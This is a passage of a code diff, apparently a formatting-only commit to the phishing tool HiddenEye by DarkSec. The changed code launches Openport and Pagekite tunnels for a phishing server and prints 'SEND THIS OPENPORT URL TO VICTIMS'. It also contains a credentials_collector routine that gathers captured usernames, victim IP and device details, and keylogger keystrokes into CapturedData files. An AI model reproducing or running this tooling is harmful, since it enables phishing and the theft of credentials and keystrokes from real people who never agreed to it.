{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(
|
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
|
||||||
default_palette[0], default_palette[4], default_palette[3], port, url
|
.format(default_palette[0], default_palette[4], default_palette[3],
|
||||||
)
|
port, url))
|
||||||
)
|
|
||||||
|
|
||||||
print(
|
print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
"""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
if 256 == run_command("which openport > /dev/null"):
|
if 256 == run_command("which openport > /dev/null"):
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print("[*] Openport not Installed correctly, Try installing it manually !!")
|
print(
|
||||||
|
"[*] Openport not Installed correctly, Try installing it manually !!"
|
||||||
|
)
|
||||||
print("[*] Check Here ... https://openport.io/download")
|
print("[*] Check Here ... https://openport.io/download")
|
||||||
input("\n Press Enter To Go back..")
|
input("\n Press Enter To Go back..")
|
||||||
server_selection(port)
|
server_selection(port)
|
||||||
@ -729,16 +644,13 @@ def start_pagekite(port):
|
|||||||
from Defs.ActionManager.simple_informant import credentials_collector
|
from Defs.ActionManager.simple_informant import credentials_collector
|
||||||
|
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print("""
|
||||||
"""
|
|
||||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||||
{0}http://github.com/darksecdevelopers
|
{0}http://github.com/darksecdevelopers
|
||||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------""".format(
|
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
if 256 == run_command("which python2 > /dev/null"):
|
if 256 == run_command("which python2 > /dev/null"):
|
||||||
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
|
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
|
||||||
input("\n Press Enter To Try installing Python2 Now..")
|
input("\n Press Enter To Try installing Python2 Now..")
|
||||||
@ -746,10 +658,8 @@ def start_pagekite(port):
|
|||||||
if 256 == run_command("which python2 > /dev/null"):
|
if 256 == run_command("which python2 > /dev/null"):
|
||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(
|
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
wait(2)
|
wait(2)
|
||||||
server_selection(port)
|
server_selection(port)
|
||||||
else:
|
else:
|
||||||
@ -757,45 +667,28 @@ def start_pagekite(port):
|
|||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
subdomain = input(
|
subdomain = input(
|
||||||
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(
|
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
|
||||||
default_palette[0], default_palette[2]
|
.format(default_palette[0], default_palette[2]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(
|
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
|
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
|
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
|
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
|
||||||
)
|
|
||||||
print(
|
print(
|
||||||
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
|
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
|
||||||
default_palette[0], default_palette[4]
|
.format(default_palette[0], default_palette[4]))
|
||||||
)
|
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
|
||||||
)
|
format(default_palette[0], default_palette[4]))
|
||||||
input(
|
|
||||||
"\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(
|
|
||||||
default_palette[0], default_palette[4]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
run_command(
|
run_command(
|
||||||
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me".format(
|
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
|
||||||
port, subdomain
|
.format(port, subdomain))
|
||||||
)
|
|
||||||
)
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("[!] Please Copy the Generated Link For Further Use")
|
print("[!] Please Copy the Generated Link For Further Use")
|
||||||
credentials_collector(port)
|
credentials_collector(port)
|
||||||
|
@ -58,10 +58,12 @@ def exit_message(port=80): # Message when HiddenEye exit
|
|||||||
run_command("clear")
|
run_command("clear")
|
||||||
print(global_localization.hidden_eye_logo)
|
print(global_localization.hidden_eye_logo)
|
||||||
print(" " + global_localization.by_darksec)
|
print(" " + global_localization.by_darksec)
|
||||||
print(" " + global_localization.official_website_link)
|
print(" " +
|
||||||
|
global_localization.official_website_link)
|
||||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||||
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
|
print(
|
||||||
|
localization.lang_exit_message["make_your_pull_request_or_issue"])
|
||||||
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
print(localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||||
print(localization.lang_exit_message["forum_suggestion"])
|
print(localization.lang_exit_message["forum_suggestion"])
|
||||||
print(localization.lang_exit_message["financial_support"])
|
print(localization.lang_exit_message["financial_support"])
|
||||||
@ -83,15 +85,16 @@ def terms_of_service_message(): # menu where user select what they wanna use
|
|||||||
if not agreement:
|
if not agreement:
|
||||||
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
print(localization.lang_terms_of_service_message["GPL_3.0"])
|
||||||
print(
|
print(
|
||||||
localization.lang_terms_of_service_message[
|
localization.
|
||||||
"great_power_great_responsibility"
|
lang_terms_of_service_message["great_power_great_responsibility"])
|
||||||
]
|
print(localization.
|
||||||
)
|
lang_terms_of_service_message["do_you_accept_license"])
|
||||||
print(localization.lang_terms_of_service_message["do_you_accept_license"])
|
print(localization.
|
||||||
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
|
lang_terms_of_service_message["enter_this_to_confirm"])
|
||||||
agreement = input(global_localization.input_line)
|
agreement = input(global_localization.input_line)
|
||||||
if localization.text_to_confirm_license not in agreement:
|
if localization.text_to_confirm_license not in agreement:
|
||||||
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
|
print(localization.
|
||||||
|
lang_terms_of_service_message["you_are_not_allowed"])
|
||||||
exit()
|
exit()
|
||||||
else:
|
else:
|
||||||
eula = open("eula.txt", "w")
|
eula = open("eula.txt", "w")
|
||||||
@ -113,17 +116,17 @@ def credentials_collector(port):
|
|||||||
with open("Server/www/usernames.txt") as creds:
|
with open("Server/www/usernames.txt") as creds:
|
||||||
lines = creds.read().rstrip()
|
lines = creds.read().rstrip()
|
||||||
if len(lines) != 0:
|
if len(lines) != 0:
|
||||||
log_writer(
|
log_writer(localization.
|
||||||
localization.lang_credentials_collector["credentials_found"]
|
lang_credentials_collector["credentials_found"] +
|
||||||
+ "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
|
"{0}{2}{1}".format(default_palette[2],
|
||||||
)
|
default_palette[3], lines))
|
||||||
# run_command("touch Server/CapturedData/usernames.txt
|
# run_command("touch Server/CapturedData/usernames.txt
|
||||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(
|
pathlib_Path("Server/CapturedData/usernames.txt").touch(
|
||||||
mode=0o777, exist_ok=True
|
mode=0o777, exist_ok=True)
|
||||||
)
|
|
||||||
|
|
||||||
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
|
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
|
||||||
captured_usernames = open("Server/CapturedData/usernames.txt", "a")
|
captured_usernames = open("Server/CapturedData/usernames.txt",
|
||||||
|
"a")
|
||||||
new_usernames = open("Server/www/usernames.txt")
|
new_usernames = open("Server/www/usernames.txt")
|
||||||
captured_usernames.write(new_usernames.read())
|
captured_usernames.write(new_usernames.read())
|
||||||
new_usernames.close()
|
new_usernames.close()
|
||||||
@ -142,14 +145,13 @@ def credentials_collector(port):
|
|||||||
with open("Server/www/ip.txt") as creds:
|
with open("Server/www/ip.txt") as creds:
|
||||||
lines = creds.read().rstrip()
|
lines = creds.read().rstrip()
|
||||||
if len(lines) != 0:
|
if len(lines) != 0:
|
||||||
log_writer(
|
log_writer(localization.
|
||||||
localization.lang_credentials_collector["device_details_found"]
|
lang_credentials_collector["device_details_found"] +
|
||||||
+ "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
|
"{0}{2}{1}".format(default_palette[2],
|
||||||
)
|
default_palette[3], lines))
|
||||||
# run_command('touch Server/CapturedData/ip.txt
|
# run_command('touch Server/CapturedData/ip.txt
|
||||||
pathlib_Path("Server/CapturedData/ip.txt").touch(
|
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
|
||||||
mode=0o777, exist_ok=True
|
exist_ok=True)
|
||||||
)
|
|
||||||
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
|
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
|
||||||
captured_ips = open("Server/CapturedData/ip.txt", "a")
|
captured_ips = open("Server/CapturedData/ip.txt", "a")
|
||||||
new_ips = open("Server/www/ip.txt")
|
new_ips = open("Server/www/ip.txt")
|
||||||
@ -173,16 +175,16 @@ def credentials_collector(port):
|
|||||||
lines = creds.read().rstrip()
|
lines = creds.read().rstrip()
|
||||||
if len(lines) != 0:
|
if len(lines) != 0:
|
||||||
log_writer(global_localization.line_of_dots)
|
log_writer(global_localization.line_of_dots)
|
||||||
log_writer(
|
log_writer(localization.
|
||||||
localization.lang_credentials_collector["getting_pressed_keys"]
|
lang_credentials_collector["getting_pressed_keys"] +
|
||||||
+ "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
|
"{0}{2}{1}".format(default_palette[2],
|
||||||
)
|
default_palette[3], lines))
|
||||||
# run_command('touch Server/CapturedData/KeyloggerData.txt
|
# run_command('touch Server/CapturedData/KeyloggerData.txt
|
||||||
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
|
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
|
||||||
mode=0o777, exist_ok=True
|
mode=0o777, exist_ok=True)
|
||||||
)
|
|
||||||
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
|
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
|
||||||
captured_keys = open("Server/CapturedData/KeyloggerData.txt", "a")
|
captured_keys = open("Server/CapturedData/KeyloggerData.txt",
|
||||||
|
"a")
|
||||||
new_keys = open("Server/www/KeyloggerData.txt")
|
new_keys = open("Server/www/KeyloggerData.txt")
|
||||||
captured_keys.write(new_keys.read())
|
captured_keys.write(new_keys.read())
|
||||||
new_keys.close()
|
new_keys.close()
|
||||||
@ -206,13 +208,9 @@ def credentials_collector(port):
|
|||||||
def log_writer(ctx): # Writing log
|
def log_writer(ctx): # Writing log
|
||||||
logFile = open("log.txt", "w")
|
logFile = open("log.txt", "w")
|
||||||
logFile.write(
|
logFile.write(
|
||||||
ctx.replace(default_palette[0], "")
|
ctx.replace(default_palette[0], "").replace(
|
||||||
.replace(default_palette[1], "")
|
default_palette[1], "").replace(default_palette[2], "").replace(
|
||||||
.replace(default_palette[2], "")
|
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||||
.replace(default_palette[3], "")
|
|
||||||
.replace(default_palette[4], "")
|
|
||||||
+ "\n"
|
|
||||||
)
|
|
||||||
print(ctx)
|
print(ctx)
|
||||||
|
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user